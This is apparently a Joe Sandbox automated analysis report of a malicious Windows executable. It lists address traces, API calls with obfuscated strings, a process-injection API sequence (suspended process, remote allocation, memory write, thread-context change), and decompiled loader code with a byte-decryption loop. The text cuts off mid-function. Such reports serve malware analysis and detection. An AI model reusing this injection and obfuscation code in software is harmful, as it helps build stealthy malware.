0x0040725d
0x0040726a
0x00407277
0x0040729e
0x004072cc
0x004072d1
0x004072e8
0x004072f2
0x004072f2
0x0040730d
0x0040731f
0x00407337
0x00407337
0x0040734c
0x00407279
0x00407283
0x0040735c
0x00407373
0x00407373
0x00407283
0x00407379
0x00407393
0x0040739f
0x004073b7
0x004073d1
0x004073d7
0x004073dd
0x004073f6
0x00407423
0x00407430
0x0040744e
0x00407456
0x0040745d
0x0040746c
0x0040747f
0x0040749d
0x0040749d
0x004074a6
0x004074b3
0x004074c0
0x004074d6
0x004074f5
0x00407509
0x0040751a
0x00407532
0x0040754d
0x0040755b
0x00407579
0x0040758a
0x00407598
0x00407598
0x004075a3
0x004075af
0x004075b5
0x004075d0
0x004075e4
0x004075fc
0x00407617
0x0040762b
0x00407639
0x0040764a
0x0040765e
0x00407679
0x00407690
0x004076a3
0x004076bd
0x004076cd
0x004076e1
0x004076f0
0x00407708
0x0040771e
0x0040773d
0x00407751
0x00407756
0x00407764
0x0040777d
0x00407797
0x004077ac
0x004077c3
0x004077d4
0x004077e4
0x004077f9
0x00407808
0x00407820
0x00407836
0x0040784d
0x00407860
0x00407871
0x0040788f
0x004078ab
0x004078c7
0x004078c7
0x004078d8
0x004078e6
0x004078f3
0x00407908
0x00407923
0x00407935
0x00407946
0x00407954
0x0040795c
0x00407965
0x0040797a
0x004090c9
0x004090db
0x004090e1
0x004090ec
0x00409102
0x00409110
0x00409125
0x00409141
0x00409156
0x00000000
0x00409156
0x00407984
0x00407991
0x004079af
0x004079bc
0x004079dc
0x004079f7
0x00407a0c
0x00407a1f
0x00407a2b
0x00407a3e
0x00407a56
0x00407a6f
0x00407a82
0x00407a97
0x00407aa8
0x00407ab9
0x00407ab9
0x00407ad6
0x00407ae2
0x00407af7
0x00408fc6
0x00408fd7
0x00408fee
0x00409007
0x0040901e
0x0040901e
0x00409020
0x00409032
0x00409046
0x0040905b
0x0040906a
0x0040907c
0x00409092
0x00409097
0x004090a1
0x004090a9
0x004090c7
0x00000000
0x004090c7
0x00407b03
0x00407b26
0x00407b33
0x00408f1c
0x00408f30
0x00408f45
0x00408f56
0x00408f69
0x00408f7c
0x00408f96
0x00408fa7
0x00000000
0x00408fa7
0x00407b4b
0x00407b55
0x00407b5b
0x00407b71
0x00407b7a
0x00407b86
0x00407b92
0x00407b9a
0x00407bb2
0x00407bb8
0x00407bcf
0x00407bea
0x00407c00
0x00407c12
0x00407c26
0x00407c3e
0x00407c4c
0x00407c60
0x00407c6f
0x00407c85
0x00407ca0
0x00407cb8
0x00407cc9
0x00407cdd
0x00407cea
0x00407d00
0x00407d16
0x00407d25
0x00407d3f
0x00407d5c
0x00407d5e
0x00407d7e
0x00407d98
0x00407da8
0x00407db4
0x00407dcf
0x00407dd8
0x00407dec
0x00407df2
0x00407e1e
0x00408ed0
0x00408ee1
0x00408ef4
0x00408f07
0x00408f07
0x00408f0d
0x00408f17
0x00000000
0x00408f17
0x00407e2d
0x00407e46
0x00407e4c
0x00407e64
0x00407e7a
0x00407e83
0x00407e97
0x00407ec3
0x00408e6e
0x00408e84
0x00408e9a
0x00408e9a
0x00408ea0
0x00408ea8
0x00000000
0x00408ea8
0x00407ec9
0x00407ed0
0x00407eff
0x00408e12
0x00408e24
0x00408e3d
0x00408e43
0x00000000
0x00000000
0x00000000
0x00000000
0x00407f05
0x00407f05
0x00407f18
0x00407f2b
0x00407f38
0x00407f53
0x00407f69
0x00407f7e
0x00407f96
0x00407fa6
0x00407fba
0x00407fd4
0x00407fee
0x00408001
0x00408010
0x0040802e
0x00408041
0x0040805b
0x00408062
0x00408074
0x00408082
0x00408095
0x004080b1
0x004080c7
0x004080d8
0x004080e3
0x004080ef
0x00408104
0x00408118
0x00408131
0x00408138
0x00408148
0x00408177
0x004081e0
0x004081f2
0x004081f7
0x004081f7
0x00408179
0x00408189
0x0040819a
0x004081a6
0x004081af
0x004081b5
0x004081b5
0x00408205
0x00408219
0x00408227
0x00408241
0x0040824b
0x00408264
0x00408264
0x0040826b
0x00408287
0x00408293
0x004082a2
0x004082b6
0x004082bc
0x004082d1
0x004082e9
0x004082f7
0x00408305
0x00408317
0x0040832b
0x00408337
0x0040834d
0x00408355
0x0040836d
0x00408379
0x00408384
0x00408389
0x00408394
0x004083a2
0x004083aa
0x004083d0
0x00408dee
0x00000000
0x004083d6
0x004083d9
0x004083e7
0x004083fa
0x0040841b
0x00408438
0x00408455
0x00408461
0x00408477
0x00408486
0x00408492
0x0040849e
0x004084ab
0x004084c4
0x004084db
0x004084e8
0x004084f4
0x004084fa
0x00408513
0x00408520
0x00408537
0x0040854b
0x00408551
0x0040855b
0x0040856b
0x00408575
0x00408582
0x0040859c
0x004085bb
0x004085e0
0x00408d28
0x00408d3c
0x00408d55
0x00408d65
0x00408d87
0x00408d9b
0x00408d9d
0x00408da3
0x00408dc3
0x00408dd7
0x00408dd9
0x00408df4
0x00408e0d
0x00000000
0x00408e0d
0x0040860c
0x00408616
0x00408639
0x0040864a
0x00408661
0x0040866c
0x0040866c
0x00408679
0x00408691
0x004086a9
0x004086b3
0x004086b9
0x004086cf
0x004086db
0x004086f3
0x00408704
0x0040871a
0x00408727
0x0040872d
0x0040874f
0x00408764
0x00408770
0x00408778
0x00408783
0x0040879b
0x004087a2
0x004087c4
0x004087d7
0x004087e6
0x004087f5
0x00408807
0x00408817
0x00408829
0x00408849
0x0040885e
0x0040886d
0x0040887c
0x0040888d
0x00408898
0x004088a7
0x004088c3
0x004088c5
0x004088d3
0x004088d9
0x004088ed
0x00408904
0x0040891d
0x00408929
0x0040893c
0x00408955
0x0040895b
0x0040896b
0x00408986
0x0040899a
0x004089ad
0x004089c5
0x004089d9
0x004089f0
0x004089f8
0x00408a0e
0x00408a1f
0x00408a39
0x00408a4d
0x00408a5e
0x00408a72
0x00408a78
0x00408a8c
0x00408a9e
0x00408ab4
0x00408acf
0x00408acf
0x00408ade
0x00408ae8
0x00408af2
0x00408b1e
0x00408b70
0x00408b20
0x00408b26
0x00408b31
0x00408b42
0x00408b48
0x00408b56
0x00408b56
0x00408b7d
0x00408b82
0x00408b96
0x00408b9c
0x00408ba8
0x00408bba
0x00408bc9
0x00408bef
0x00408bfb
0x00408c12
0x00408c24
0x00408c4e
0x00408cca
0x00408c50
0x00408c5d
0x00408c71
0x00408c7a
0x00408c87
0x00408ca5
0x00408cae
0x00408cae
0x00408ce4
0x00408d03
0x00408d14
0x00408d14
0x00408d23
0x00000000
0x00408d23
0x0040858b
0x00408d81
0x00408d81
0x00000000
0x0040858b
0x00408dbc
0x00000000
0x00408dbc
0x00407122
0x00407133
0x00407147
0x0040715e
0x00407178
0x004091bf
0x004091cf
0x004091db
0x004091e3
0x004091f7
0x0040920e
0x0040929b
0x004092a8
0x004092bc
0x004092c9
0x00000000
0x004092c9
0x00407120
0x00406e71
0x00405e10
0x00000000
0x004056a1
0x004056ad
0x004056c0
0x004056d8
0x004056e7
0x004056fa
0x00405711
0x00409387
0x00409397
0x004093b3
0x00000000
0x004093b3
0x00405491
0x004093c6
0x004093db
0x004093e0
0x004093e8
0x004093f6
0x0040940d
0x0040941a
0x00409428
0x00409446
0x0040945b
0x00000000
0x0040945b
0x00405324
0x0040946b
0x0040947a
0x00409486
0x0040948e
0x004094a8
0x004094b7
0x004094bc
0x004094d0
0x00000000
0x004094d0
0x00405322

APIs

ChooseColorW.COMDLG32(?), ref: 0040517E
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004052CB
PrintDlgExW.COMDLG32(?), ref: 00405563
AddAtomW.KERNEL32(CDJKm.Xstel4T), ref: 004055AB
PageSetupDlgW.COMDLG32(?), ref: 004056F4
GetCurrentThread.KERNEL32 ref: 00405B48
ChooseColorW.COMDLG32(?), ref: 00405DE0
IsProcessorFeaturePresent.KERNEL32(00000005), ref: 00405FC7
DeleteAtom.KERNEL32(?), ref: 004060FD
SetEvent.KERNEL32(?), ref: 00406152
AddAtomW.KERNEL32(Rhz), ref: 00406216
FindTextW.COMDLG32(?,0000005E), ref: 00406820
PrintDlgExW.COMDLG32(?), ref: 00406C87
PrintDlgW.COMDLG32(?), ref: 00407059
InitializeCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 00407186
AssignProcessToJobObject.KERNEL32 ref: 00407379
CreateFileW.KERNELBASE(DfehXcUb7\wYi1pD,40000000,00000002,00000000,00000001,00000100,00000000), ref: 004073D1
QueryPerformanceFrequency.KERNEL32(?), ref: 004074C0
SetThreadLocale.KERNEL32(0000005C), ref: 00407555
GetProcessTimes.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 00407871
ResetEvent.KERNEL32(?), ref: 004079BC
EnterCriticalSection.KERNEL32(?), ref: 00407B7A
GetFileAttributesExW.KERNEL32(00000000,00000000,00000000), ref: 00407B86
DeleteAtom.KERNEL32(?), ref: 00407C20
GetFileSize.KERNEL32(?,?), ref: 00407C9A
QueryPerformanceFrequency.KERNEL32(?), ref: 00407CEA
FreeConsole.KERNELBASE ref: 00407DF2
AddAtomW.KERNEL32(qQd~ZhOSAK), ref: 00407F32
GetCurrentThread.KERNEL32 ref: 004080E9
DeleteAtom.KERNEL32(?), ref: 00408112
CreateMutexW.KERNELBASE(00000000,00000000,00000000), ref: 004081AF
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00408325
CreateFileW.KERNEL32(ccsV43tknQv\ps\ExKp,C0000000,00000002,00000000,00000003,00000008,00000000), ref: 0040844F
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00408545
CreateFileW.KERNEL32(dlWjcLXF1\7hp7,C0000000,00000008,00000000,00000000,00000100,00000000), ref: 00408633
GetSaveFileNameW.COMDLG32(?), ref: 00408F76
GetOpenFileNameW.COMDLG32(?), ref: 00409040
PrintDlgExW.COMDLG32(?), ref: 004091A2
SetProcessAffinityMask.KERNEL32(?,0000000B), ref: 00409236
PageSetupDlgW.COMDLG32(?), ref: 0040931A

Strings

\n, xrefs: 00405B6C
^, xrefs: 0040531B
Rhz, xrefs: 00406211
j, xrefs: 0040538C
ccsV43tknQv\ps\ExKp, xrefs: 0040844A
=., xrefs: 00409536
DfehXcUb7\wYi1pD, xrefs: 004073CC
^, xrefs: 00405045
I, xrefs: 004078EC
dlWjcLXF1\7hp7, xrefs: 0040862E
W>, xrefs: 0040700E
CDJKm.Xstel4T, xrefs: 004055A6
}, xrefs: 0040637B
Y, xrefs: 0040501A
d[, xrefs: 00407E4C
O, xrefs: 00407279
<, xrefs: 004050AB
1E, xrefs: 00407984
qQd~ZhOSAK, xrefs: 00407F2D
RM, xrefs: 00407D5E

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: CreateFile$Atom$Event$Print$DeleteProcessThread$ChooseColorCriticalCurrentFrequencyNamePagePerformanceQuerySectionSetup$AffinityAssignAttributesConsoleEnterFeatureFindFreeInitializeLocaleMaskMutexObjectOpenPresentProcessorResetSaveSizeTextTimes
String ID: 1E$<$=.$CDJKm.Xstel4T$DfehXcUb7\wYi1pD$I$RM$Rhz$W>$Y$\n$^$^$ccsV43tknQv\ps\ExKp$d[$dlWjcLXF1\7hp7$j$qQd~ZhOSAK$}$O
API String ID: 3872285705-3546405936
Opcode ID: 07f0911a4a046dce62b5114a265c7e9726fa5771b37c63a7a7315163933601ef
Instruction ID: b88befc358ac49f9a764855f6d4f306396105dc0e48b68e7a5f26e350fd9d71c
Opcode Fuzzy Hash: 07f0911a4a046dce62b5114a265c7e9726fa5771b37c63a7a7315163933601ef
Instruction Fuzzy Hash: 87A30274A04668CFCB64CF28C890AEDBBB2BF8A301F1481DAD849A7355D7346E91CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00427189 Relevance: 23.2, APIs: 12, Strings: 1, Instructions: 467
memoryinjectionthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 0042746A
GetThreadContext.KERNELBASE(?,00010007), ref: 0042747F
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 004274A0
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 004274D2
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 004274F2
VirtualAllocEx.KERNELBASE(?,00000000,?,00003000,00000040), ref: 0042752F
WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000000), ref: 00427625
VirtualProtectEx.KERNELBASE(?,?,?,00000002,?), ref: 00427642
VirtualProtectEx.KERNELBASE(?,?,?,00000001,?), ref: 004276AC
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 004276CE
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 004276E9
SetThreadContext.KERNELBASE(?,00010007), ref: 00427706

Strings

D, xrefs: 004273C2

Memory Dump Source

Source File: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Virtual$Process$AllocMemory$ContextProtectThreadWrite$CreateFreeRead
String ID: D
API String ID: 285279463-2746444292
Opcode ID: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction ID: 28e111e99d54605cba509292284b9a20fc539d9ea96b063ded24a2ffcbdd7a3e
Opcode Fuzzy Hash: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction Fuzzy Hash: 2D123971E002299BDF21CFA4DD84BEEBBB4FF44704F5484AAE509E6250E7749A84CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004018B0 Relevance: 32.6, APIs: 3, Strings: 15, Instructions: 1123
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E004018B0(signed int __eax, void* _a4, long _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				intOrPtr _v60;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed char _v112;
				signed int _v113;
				signed char _v120;
				signed int _v121;
				signed char _t645;
				void* _t734;

				_t645 = __eax;
				_v16 =  *0x421690;
				_v16 =  *0x42168c;
				_v16 =  *0x421688;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v16 =  *0x421684;
					_v16 =  *0x421680;
				}
				_v16 =  *0x42167c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x421678;
					_v16 =  *0x421674;
				}
				_v16 =  *0x421670;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x42166c;
					_v16 =  *0x421668;
				}
				_v16 =  *0x421664;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x421660;
					_v16 =  *0x42165c;
				}
				_v16 =  *0x421658;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x421654;
					_v16 =  *0x421650;
				}
				_v36 =  *0x42164c;
				_v36 =  *0x421648;
				_v36 =  *0x421644;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x421640;
					_v36 =  *0x42163c;
				}
				_v36 =  *0x421638;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x421634;
					_v36 =  *0x421630;
				}
				_v36 =  *0x42162c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x421628;
					_v36 =  *0x421624;
				}
				_v36 =  *0x421620;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x42161c;
					_v36 =  *0x421618;
				}
				_v36 =  *0x421614;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x421610;
					_v36 =  *0x42160c;
				}
				_v44 =  *0x421608;
				_v44 =  *0x421604;
				_v44 =  *0x421600;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4215fc;
					_v44 =  *0x4215f8;
				}
				_v44 =  *0x4215f4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4215f0;
					_v44 =  *0x4215ec;
				}
				_v44 =  *0x4215e8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4215e4;
					_v44 =  *0x4215e0;
				}
				_v44 =  *0x4215dc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4215d8;
					_v44 =  *0x4215d4;
				}
				_v44 =  *0x4215d0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4215cc;
					_v44 =  *0x4215c8;
				}
				_v20 =  *0x4215c4;
				_v20 =  *0x4215c0;
				_v20 =  *0x4215bc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x4215b8;
					_v20 =  *0x4215b4;
				}
				_v20 =  *0x4215b0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x4215ac;
					_v20 =  *0x4215a8;
				}
				_v20 =  *0x4215a4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x4215a0;
					_v20 =  *0x42159c;
				}
				_v20 =  *0x421598;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x421594;
					_v20 =  *0x421590;
				}
				_v20 =  *0x42158c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x421588;
					_v20 =  *0x421584;
				}
				_v12 =  *0x421580;
				_v12 =  *0x42157c;
				_v12 =  *0x421578;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x421574;
					_v12 =  *0x421570;
				}
				_v12 =  *0x42156c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x421568;
					_v12 =  *0x421564;
				}
				_v12 =  *0x421560;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x42155c;
					_v12 =  *0x421558;
				}
				_v12 =  *0x421554;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x421550;
					_v12 =  *0x42154c;
				}
				_v12 =  *0x421548;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x421544;
					_v12 =  *0x421540;
				}
				_v52 =  *0x42153c;
				_v52 =  *0x421538;
				_v52 =  *0x421534;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v52 =  *0x421530;
					_v52 =  *0x42152c;
				}
				_v52 =  *0x421528;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v52 =  *0x421524;
					_v52 =  *0x421520;
				}
				_v52 =  *0x42151c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v52 =  *0x421518;
					_v52 =  *0x421514;
				}
				_v52 =  *0x421510;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v52 =  *0x42150c;
					_v52 =  *0x421508;
				}
				_v52 =  *0x421504;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v52 =  *0x421500;
					_v52 =  *0x4214fc;
				}
				_v108 =  *0x4214f8;
				_v108 =  *0x4214f4;
				_v108 =  *0x4214f0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x4214ec;
					_v108 =  *0x4214e8;
				}
				_v108 =  *0x4214e4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x4214e0;
					_v108 =  *0x4214dc;
				}
				_v108 =  *0x4214d8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x4214d4;
					_v108 =  *0x4214d0;
				}
				_v108 =  *0x4214cc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x4214c8;
					_v108 =  *0x4214c4;
				}
				_v108 =  *0x4214c0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x4214bc;
					_v108 =  *0x4214b8;
				}
				_v40 =  *0x4214b4;
				_v40 =  *0x4214b0;
				_v40 =  *0x4214ac;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x4214a8;
					_v40 =  *0x4214a4;
				}
				_v40 =  *0x4214a0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x42149c;
					_v40 =  *0x421498;
				}
				_v40 =  *0x421494;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x421490;
					_v40 =  *0x42148c;
				}
				_v40 =  *0x421488;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x421484;
					_v40 =  *0x421480;
				}
				_v40 =  *0x42147c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x421478;
					_v40 =  *0x421474;
				}
				_v76 = 0x2c;
				_v75 = 0x33;
				_v74 = 0x3f;
				_v73 = 0xbd;
				_v72 = 0xb0;
				_v71 = 0x35;
				_v70 = 0x32;
				_v69 = 0xad;
				_v68 = 0x3a;
				_v67 = 0x34;
				_v66 = 0x38;
				_v65 = 0x30;
				_v64 = 0xb1;
				_v63 = 0xbc;
				_v62 = 0;
				_v112 = 0;
				while(_v112 < 0xf) {
					_v113 =  *((intOrPtr*)(_t734 + _v112 - 0x48));
					_v113 = _v113 & 0x000000ff ^ 0x00000084;
					_v113 = (_v113 & 0x000000ff) >> 0x00000007 | (_v113 & 0x000000ff) << 0x00000001;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ 0x000000c7;
					_v113 =  ~(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ _v112;
					_v113 = (_v113 & 0x000000ff) + _v112;
					_v113 = _v113 & 0x000000ff ^ _v112;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ _v112;
					_v113 = (_v113 & 0x000000ff) + _v112;
					_v113 = _v113 & 0x000000ff ^ 0x000000c1;
					_v113 = (_v113 & 0x000000ff) - _v112;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = (_v113 & 0x000000ff) - _v112;
					 *((char*)(_t734 + _v112 - 0x48)) = _v113;
					_t645 = _v112 + 1;
					_v112 = _t645;
				}
				_v100 =  *0x421470;
				_v100 =  *0x42146c;
				_v100 =  *0x421468;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x421464;
					_v100 =  *0x421460;
				}
				_v100 =  *0x42145c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x421458;
					_v100 =  *0x421454;
				}
				_v100 =  *0x421450;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x42144c;
					_v100 =  *0x421448;
				}
				_v100 =  *0x421444;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x421440;
					_v100 =  *0x42143c;
				}
				_v100 =  *0x421438;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x421434;
					_v100 =  *0x421430;
				}
				_v8 =  *0x42142c;
				_v8 =  *0x421428;
				_v8 =  *0x421424;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x421420;
					_v8 =  *0x42141c;
				}
				_v8 =  *0x421418;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x421414;
					_v8 =  *0x421410;
				}
				_v8 =  *0x42140c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x421408;
					_v8 =  *0x421404;
				}
				_v8 =  *0x421400;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x4213fc;
					_v8 =  *0x4213f8;
				}
				_v8 =  *0x4213f4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x4213f0;
					_v8 =  *0x4213ec;
				}
				_v96 =  *0x4213e8;
				_v96 =  *0x4213e4;
				_v96 =  *0x4213e0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x4213dc;
					_v96 =  *0x4213d8;
				}
				_v96 =  *0x4213d4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x4213d0;
					_v96 =  *0x4213cc;
				}
				_v96 =  *0x4213c8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x4213c4;
					_v96 =  *0x4213c0;
				}
				_v96 =  *0x4213bc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x4213b8;
					_v96 =  *0x4213b4;
				}
				_v96 =  *0x4213b0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x4213ac;
					_v96 =  *0x4213a8;
				}
				_v32 =  *0x4213a4;
				_v32 =  *0x4213a0;
				_v32 =  *0x42139c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x421398;
					_v32 =  *0x421394;
				}
				_v32 =  *0x421390;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x42138c;
					_v32 =  *0x421388;
				}
				_v32 =  *0x421384;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x421380;
					_v32 =  *0x42137c;
				}
				_v32 =  *0x421378;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
